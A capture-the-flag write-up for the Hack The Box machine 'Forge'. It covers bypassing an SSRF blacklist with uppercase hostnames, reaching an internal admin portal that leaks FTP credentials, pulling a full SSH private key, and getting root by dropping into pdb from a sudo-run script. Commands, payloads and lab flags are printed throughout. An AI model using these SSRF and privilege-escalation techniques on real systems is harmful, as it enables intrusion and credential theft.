Forge
7 minutes to read
- OS: Linux
- Difficulty: Medium
- IP Address: 10.10.11.111
- Release: 11 / 09 / 2021
Port scanning
# Nmap 7.92 scan initiated as: nmap -sC -sV -o nmap/targeted 10.10.11.111 -p21,22,80
Nmap scan report for forge.htb (10.10.11.111)
Host is up (0.075s latency).
PORT STATE SERVICE VERSION
21/tcp filtered ftp
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 4f:78:65:66:29:e4:87:6b:3c:cc:b4:3a:d2:57:20:ac (RSA)
| 256 79:df:3a:f1:fe:87:4a:57:b0:fd:4e:d0:54:c6:28:d9 (ECDSA)
|_ 256 b0:58:11:40:6d:8c:bd:c5:72:aa:83:08:c5:51:fb:33 (ED25519)
80/tcp open http Apache httpd 2.4.41
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Gallery
Service Info: Host: 10.10.11.111; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done -- 1 IP address (1 host up) scanned in 10.24 seconds
This machine has ports 22 (SSH) and 80 (HTTP) open. Port 21 (FTP) is filtered.
Web enumeration
If we go to http://10.10.11.111
, the machine contains a website that redirects to http://forge.htb
. After putting the hostname in /etc/hosts
we will see this website:
It allows us to upload images to the server. We can upload a local file or use a URL:
We put a URL to our attacker machine, and we got a hit:
$ python3 -m http.server 80
Serving HTTP on :: port 80 (http://[::]:80/) ...
::ffff:10.10.11.111 - - [] "GET /Forge.png HTTP/1.1" 200 -
Then, the server generates a random URL where the image is located:
It is also possible to upload files that are not an image. For example, this HTML document:
<!doctype html>
<html lang="en">
<head>
<title>Test</title>
<meta charset="uft-8">
</head>
<body>
<h1>Test</h1>
</body>
</html>
Although the browser will complain that the file is not an image, using curl
we can see the uploaded HTML document:
$ curl http://forge.htb/uploads/lquBPTyay70DnGJwpCFG
<!doctype html>
<html lang="en">
<head>
<title>Test</title>
<meta charset="uft-8">
</head>
<body>
<h1>Test</h1>
</body>
</html>
Testing SSRF
Now, we can try some Server-Side Request Forgery (SSRF) payloads because it is likely to be vulnerable (the name of the machine is “Forge”). To automate the process, we can use this short Python script: ssrf.py
(detailed explanation here). This script only uploads the image URL and requests it using the generated URL.
We test some URL and see that there are some blacklisted addresses:
$ python3 ssrf.py http://forge.htb
URL contains a blacklisted address!
$ python3 ssrf.py http://localhost
URL contains a blacklisted address!
$ python3 ssrf.py http://127.0.0.1
URL contains a blacklisted address!
Although this blacklist can be bypassed using http://10.10.11.111
or http://127.0.1.1
, there is nothing interesting to do.
As a curiosity, the Apache server does not include a trailing slash when doing the redirect, and we have this error:
$ python3 ssrf.py http://10.10.11.111/static
An error occured! Error : HTTPConnectionPool(host='forge.htbstatic', port=80): Max retries exceeded with url: / (Caused by NewConnectionError('<urllib3.connection.HTTPConnection object at 0x7f67f9ede100>: Failed to establish a new connection: [Errno -3] Temporary failure in name resolution'))
Using curl
we see that the issue is in the redirection process:
$ curl -I http://10.10.11.111/static
HTTP/1.1 302 Found
Date:
Server: Apache/2.4.41 (Ubuntu)
Location: http://forge.htbstatic
Content-Type: text/html; charset=iso-8859-1
The problem can be solved adding :80
, so that it is appended to http://forge.htb
:
$ curl -I 'http://10.10.11.111/:80/static'
HTTP/1.1 302 Found
Date:
Server: Apache/2.4.41 (Ubuntu)
Location: http://forge.htb:80/static
Content-Type: text/html; charset=iso-8859-1
$ python3 ssrf.py http://10.10.11.111/:80/static
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">
<html>
<head>
<title>Index of /static</title>
</head>
<body>
<h1>Index of /static</h1>
<table>
<tr><th valign="top"><img src="/icons/blank.gif" alt="[ICO]"></th><th><a href="?C=N;O=D">Name</a></th><th><a href="?C=M;O=A">Last modified</a></th><th><a href="?C=S;O=A">Size</a></th><th><a href="?C=D;O=A">Description</a></th></tr>
<tr><th colspan="5"><hr></th></tr>
<tr><td valign="top"><img src="/icons/back.gif" alt="[PARENTDIR]"></td><td><a href="/">Parent Directory</a></td><td> </td><td align="right"> - </td><td> </td></tr>
<tr><td valign="top"><img src="/icons/folder.gif" alt="[DIR]"></td><td><a href="css/">css/</a></td><td align="right">2021-05-27 04:00 </td><td align="right"> - </td><td> </td></tr>
<tr><td valign="top"><img src="/icons/folder.gif" alt="[DIR]"></td><td><a href="images/">images/</a></td><td align="right">2021-05-31 10:31 </td><td align="right"> - </td><td> </td></tr>
<tr><td valign="top"><img src="/icons/folder.gif" alt="[DIR]"></td><td><a href="js/">js/</a></td><td align="right">2021-05-27 06:39 </td><td align="right"> - </td><td> </td></tr>
<tr><th colspan="5"><hr></th></tr>
</table>
<address>Apache/2.4.41 (Ubuntu) Server at forge.htb Port 80</address>
</body></html>
As previouslly said, there is nothing to do with http://forge.htb
. We can try to access FTP, but again it is not allowed:
$ python3 ssrf.py ftp://forge.htb
Invalid protocol! Supported protocols: http, https
Finding another subdomain
So, there must be another subdomain. We can find it using gobuster
:
$ gobuster vhost -w $WORDLISTS/dirbuster/directory-list-2.3-medium.txt -r -q -u forge.htb
Found: admin.forge.htb (Status: 200) [Size: 27]
After setting the subdomain in /etc/hosts
, we see that only localhost
can get the contents of the website:
$ curl http://admin.forge.htb/
Only localhost is allowed!
Hence, we must use SSRF to access http://admin.forge.htb
, but it is blacklisted:
$ python3 ssrf.py http://admin.forge.htb
URL contains a blacklisted address!
Although it is blacklisted, it seems that the validation is not perfect because it does not check capital letters:
$ python3 ssrf.py http://ADMIN.FORGE.HTB
<!DOCTYPE html>
<html>
<head>
<title>Admin Portal</title>
</head>
<body>
<link rel="stylesheet" type="text/css" href="/static/css/main.css">
<header>
<nav>
<h1 class=""><a href="/">Portal home</a></h1>
<h1 class="align-right margin-right"><a href="/announcements">Announcements</a></h1>
<h1 class="align-right"><a href="/upload">Upload image</a></h1>
</nav>
</header>
<br><br><br><br>
<br><br><br><br>
<center><h1>Welcome Admins!</h1></center>
</body>
</html>
This way, we are able to enumerate the internal subdomain admin-forge.htb
. We see that it shows a route called /announcments
:
$ python3 ssrf.py http://ADMIN.FORGE.HTB/announcements
<!DOCTYPE html>
<html>
<head>
<title>Announcements</title>
</head>
<body>
<link rel="stylesheet" type="text/css" href="/static/css/main.css">
<link rel="stylesheet" type="text/css" href="/static/css/announcements.css">
<header>
<nav>
<h1 class=""><a href="/">Portal home</a></h1>
<h1 class="align-right margin-right"><a href="/announcements">Announcements</a></h1>
<h1 class="align-right"><a href="/upload">Upload image</a></h1>
</nav>
</header>
<br><br><br>
<ul>
<li>An internal ftp server has been setup with credentials as user:heightofsecurity123!</li>
<li>The /upload endpoint now supports ftp, ftps, http and https protocols for uploading from url.</li>
<li>The /upload endpoint has been configured for easy scripting of uploads, and for uploading an image, one can simply pass a url with ?u=<url>.</li>
</ul>
</body>
</html>
Access to the machine
Now we have another way to try SSRF, but from http://admin.forge.htb
and having FTP enabled (with credentials user:heightofsecurity123!
):
$ python3 ssrf.py 'http://ADMIN.FORGE.HTB/upload?u=ftp://user:heightofsecurity123!@FORGE.HTB/'
drwxr-xr-x 3 1000 1000 4096 Aug 04 19:23 snap
-rw-r----- 1 0 1000 33 Sep 12 13:01 user.txt
$ python3 ssrf.py 'http://ADMIN.FORGE.HTB/upload?u=ftp://user:heightofsecurity123!@FORGE.HTB/user.txt'
65d1bd86e04e41ae808a7965ff6e07c5
Now let’s see if the FTP password is reused for SSH:
$ ssh user@forge.htb
user@forge.htb: Permission denied (publickey).
It is not. We need a private key to access the machine via SSH.
The FTP server seems to be pointing to the home directory of user
(because we saw the user.txt
flag). So we can try to access ~/.ssh/id_rsa
:
$ python3 ssrf.py 'http://ADMIN.FORGE.HTB/upload?u=ftp://user:heightofsecurity123!@FORGE.HTB/.ssh/id_rsa' | tee id_rsa
-----BEGIN OPENSSH PRIVATE KEY-----
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
shlLupso7WoS0AAAAKdXNlckBmb3JnZQE=
-----END OPENSSH PRIVATE KEY-----
Privilege escalation with sudo
And now we have access to the machine. This user is allowed to execute a Python script as root
:
$ chmod 600 id_rsa
$ ssh -i id_rsa user@forge.htb
user@forge:~$ sudo -l
Matching Defaults entries for user on forge:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User user may run the following commands on forge:
(ALL : ALL) NOPASSWD: /usr/bin/python3 /opt/remote-manage.py
This script starts a socket connection to allow a certain user execute some system commands:
user@forge:~$ cat /opt/remote-manage.py
#!/usr/bin/env python3
import socket
import random
import subprocess
import pdb
port = random.randint(1025, 65535)
try:
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
sock.bind(('127.0.0.1', port))
sock.listen(1)
print(f'Listening on localhost:{port}')
(clientsock, addr) = sock.accept()
clientsock.send(b'Enter the secret passsword: ')
if clientsock.recv(1024).strip().decode() != 'secretadminpassword':
clientsock.send(b'Wrong password!\n')
else:
clientsock.send(b'Welcome admin!\n')
while True:
clientsock.send(b'\nWhat do you wanna do: \n')
clientsock.send(b'[1] View processes\n')
clientsock.send(b'[2] View free memory\n')
clientsock.send(b'[3] View listening sockets\n')
clientsock.send(b'[4] Quit\n')
option = int(clientsock.recv(1024).strip())
if option == 1:
clientsock.send(subprocess.getoutput('ps aux').encode())
elif option == 2:
clientsock.send(subprocess.getoutput('df').encode())
elif option == 3:
clientsock.send(subprocess.getoutput('ss -lnt').encode())
elif option == 4:
clientsock.send(b'Bye\n')
break
except Exception as e:
print(e)
pdb.post_mortem(e.__traceback__)
finally:
quit()
The commands are not vulnerable. In fact, the vulnerability here is the use of pdb
if an exception is thrown. Once we enter in the pdb
prompt, we can execute an interactive Python session (REPL) as root
(because the script is executed with sudo
):
user@forge:~$ sudo /usr/bin/python3 /opt/remote-manage.py
Listening on localhost:1423
First, we need to enter the password, which is written in the code in plain text (secretadminpassword
). To trigger pdb
we can enter a letter instead of a valid number (we will cause a ValueError
exception):
user@forge:~$ telnet localhost 1423
Trying 127.0.0.1...
Connected to localhost.
Escape character is '^]'.
Enter the secret passsword: secretadminpassword
Welcome admin!
What do you wanna do:
[1] View processes
[2] View free memory
[3] View listening sockets
[4] Quit
x
And then we have the pdb
prompt:
user@forge:~$ sudo /usr/bin/python3 /opt/remote-manage.py
Listening on localhost:1423
invalid literal for int() with base 10: b'x'
> /opt/remote-manage.py(27)<module>()
-> option = int(clientsock.recv(1024).strip())
(Pdb) ?
Documented commands (type help <topic>):
========================================
EOF c d h list q rv undisplay
a cl debug help ll quit s unt
alias clear disable ignore longlist r source until
args commands display interact n restart step up
b condition down j next return tbreak w
break cont enable jump p retval u whatis
bt continue exit l pp run unalias where
Miscellaneous help topics:
==========================
exec pdb
If we type interact
, we will get a Python REPL, and there we can spawn a shell:
(Pdb) interact
*interactive*
>>> import pty
>>> pty.spawn('/bin/bash')
Finally we have a shell as root
, so we can read the root.txt
flag:
root@forge:/home/user# cat /root/root.txt
3f3744e3624782a0fd2504a47923c347